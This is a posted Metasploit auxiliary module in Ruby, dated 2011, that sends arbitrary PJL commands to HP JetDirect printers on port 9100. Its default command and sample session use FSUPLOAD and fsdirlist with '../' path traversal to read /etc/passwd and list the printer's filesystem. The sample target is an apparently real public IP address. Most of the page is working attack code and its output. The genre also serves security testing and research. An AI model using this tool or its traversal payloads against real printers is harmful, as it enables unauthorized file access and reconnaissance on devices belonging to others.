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HP JetDirect Printer PJL Query Execution

HP JetDirect Printer PJL Query Execution
Posted Aug 7, 2011
Authored by Myo Soe | Site metasploit.com

This Metasploit module acts as an HP printer PJL (Printer Job Language) query tool that allows you to submit your own PJL commands. Valid PJL commands are required to get successful response.

tags | exploit
MD5 | ac5eb8651c2a077bbdd72b37f70f0957

HP JetDirect Printer PJL Query Execution

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# Exploit Title: HP JetDirect PJL Query Execution
# Date: Aug 7, 2011
# Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>
# Software Link: http://www.hp.com
# Version: All
# Tested on: HP LaserJet Pxxxx Series

##
# $Id: $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


##
# Sample Output:
#
#
# msf auxiliary(hp_printer_pjl_cmd) > show options
#
# Module options (auxiliary/admin/hp_printer_pjl_cmd):
#
# Name Current Setting Required Description
# ---- --------------- -------- -----------
# CMD FSUPLOAD NAME="0:/../../../etc/passwd" OFFSET=0 SIZE=999 yes PJL Command to run
# INTERACTIVE true no Enter interactive mode [msfconsole Only]
# RHOST 202.138.16.21 yes The target address
# RPORT 9100 yes The target port
#
# msf auxiliary(hp_printer_pjl_cmd) > run
#
# [*] Entering interactive mode ...
# [*] Please wait while executing -
# [*] FSUPLOAD NAME="0:/../../../etc/passwd" OFFSET=0 SIZE=999
# [+] Server returned the following response:
#
# root::0:0::/:/bin/dlsh
#
#
# [*] Enter PJL Command:
# [*] -> 'quit' to exit
# $ > fsdirlist name="0:/../../../" entry=1 count=99999999
# [*] Please wait while executing -
# [*] fsdirlist name="0:/../../../" entry=1 count=99999999
# [+] Server returned the following response:
#
# . TYPE=DIR
# .. TYPE=DIR
# bin TYPE=DIR
# usr TYPE=DIR
# etc TYPE=DIR
# hpmnt TYPE=DIR
# hp TYPE=DIR
# lib TYPE=DIR
# dev TYPE=DIR
# init TYPE=FILE SIZE=9016
# .profile TYPE=FILE SIZE=834
# tmp TYPE=DIR
#
#
# [*] Enter PJL Command:
# [*] -> 'quit' to exit
# $ > quit
# [*] Exited ... Have fun with your Printer!
# [*] Auxiliary module execution completed
# msf auxiliary(hp_printer_pjl_cmd) >



require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::Tcp

def initialize(info={})
super(update_info(info,
'Name' => 'HP JetDirect Printer PJL Query Execution',
'Version' => '$Revision: 1 $',
'Description' => %q{
This module act as a HP printer PJL (Printer Job Language) query tool that allows you to submit your own PJL commands. Valid PJL commands are required to get successful response. See the reference section for PJL reference guides from HP.
},
'Author' => [
'Myo Soe <YGN Ethical Hacker Group, http://yehg.net/>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://h20000.www2.hp.com/bc/docs/support/SupportManual/bpl13208/bpl13208.pdf' ],
[ 'URL', 'http://h20000.www2.hp.com/bc/docs/support/SupportManual/bpl13207/bpl13207.pdf' ],
[ 'URL', 'https://secure.wikimedia.org/wikipedia/en/wiki/Printer_Job_Language' ],
[ 'URL', 'http://core.yehg.net/lab/#tools.exploits' ]

],
'DisclosureDate' => ' 2011'))

register_options(
[
OptString.new('CMD',
[
true,
"PJL Command to run",
'FSUPLOAD NAME="0:/../../../.profile" OFFSET=0 SIZE=999'
]
),
OptBool.new('INTERACTIVE',
[
false,
"Enter interactive mode [msfconsole Only]",
false
]
),

Opt::RPORT(9100)
],self.class)


end

def run
mode = datastore['INTERACTIVE']

if mode == true
set_interactive(datastore['CMD'])
else
set_onetime(datastore['CMD'])
end
end

def set_interactive(scmd)
cmd = scmd

print_status("Entering interactive mode ...")
stop = false

set_onetime(cmd)

until stop == true
print_status("Enter PJL Command:")
print_status("-> 'quit' to exit")
print("$ > ")
tmp_cmd = ''
tmp_cmd = gets.chomp.to_s
if tmp_cmd =~ /quit/
stop= true
print_status("Exited ... Have fun with your Printer!")
else
set_onetime(tmp_cmd)
end
end
end

def set_onetime(scmd)

connect

cmd = "\x1b%-12345X@PJL [REPLACE]\x0d\x0a\x1b%-12345X\x0d\x0a"
r_cmd = cmd.sub("[REPLACE]",scmd)

print_status("Please wait while executing -")
print_status("#{scmd}")

recv = sock.put(r_cmd)
res = sock.get(-1,1)

if (!res)
print_error("ERROR in receiving data!\r\n")
else
if res.to_s =~ /ERROR/
print_error("BAD COMMAND OR ERROR\r\n")
disconnect
return
end
resx = res.to_s[res.index("\r\n")+1,res.length]
print_good("Server returned the following response:\r\n#{resx}")
end

disconnect

end


end

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